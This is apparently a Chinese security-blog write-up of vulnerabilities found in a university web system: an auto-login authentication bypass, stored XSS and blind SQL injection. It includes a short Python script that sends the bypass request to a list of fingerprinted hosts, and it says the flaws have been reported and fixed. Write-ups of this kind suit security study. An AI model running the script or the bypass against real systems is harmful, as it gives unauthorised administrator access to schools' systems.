freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

记一次EDU网站漏洞通杀(原创)
2023-03-16 20:14:54
所属地 广西

一、漏洞挖掘

1、逻辑缺陷

熟悉的页面,熟悉的弱口令测试,但无果

1679400427_64199debe2d51573f1dba.png!small?1679400428723

我就把目光转向js审计,果不其然有新发现,可以根据账号自动登录

1679400441_64199df986ec54ce7c94d.png!small?1679400442514

于是直接构造请求绕过登录

1679400450_64199e020a4c643746b95.png!small?1679400451095

经典的管理员权限

2、存储型XSS

寻找文本输入

1679400459_64199e0ba4eb495da52a5.png!small?1679400460639

浅析: 前端:这里的标签都是普通标签,没有像RCDATA元素(RCDATA elements),有<textarea><title>,会做一次HTML编码,所以可以直接插入危险的js代码。 后端:没有任何过滤(xs~

1679400475_64199e1b7505d6ca6e077.png!small?1679400476498

所以就简单了,直接插入<script>alert('1')</script>即可

1679400484_64199e242480f3ca5d5b7.png!small?1679400484931

3、SQL注入

1679400492_64199e2c281bdbab51ebc.png!small?1679400493020

测试无果

1679400499_64199e33e1a043dfd5f59.png!small?1679400500681

最后发现注入点在第一个函数,果然任何一个输入点都可能是不安全的,是布尔型盲注

1679400506_64199e3a3b25345b2db65.png!small?1679400507365

后面就是经典Sqlmap了

1679400513_64199e41792e1ac1a5b2d.png!small?1679400514275

二、继续通杀

根据系统指纹在fofa上搜索:"xx系统" && icon_hash="11xxxx"有32个IP,看了下,有重复的

1679400521_64199e4950d62fb85894e.png!small?1679400522069

使用fofa_viewer导出目标 这里我根据第一个逻辑漏洞的漏洞指纹信息,写了一个简单poc

import requests


def poc(url):
poc_url = url + '/login/doautologin.edu'
data = {'um.userid': "admin"}
try:
res = requests.post(poc_url, data=data, timeout=5)
if (res.headers.get("Set-Cookie")): # 登录成功就会set-cookie
print(url + '/login.html')
except BaseException:  
pass


if __name__ == '__main__':
with open('url.txt', 'r') as f:
for i in f:
poc(i.rstrip('\n'))

以上漏洞均已报告给相应学校且已修复

三、思考总结

1)在访问系统当中的时候F12查看源码是一个不错的习惯(尤其是有前端弹框的)

2)前端代码的一切展示行为完全可控(一定要理解这句话)

3)了解程序的底层逻辑,你才能更清晰的知道每一个参数的意义

# 渗透测试 # web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录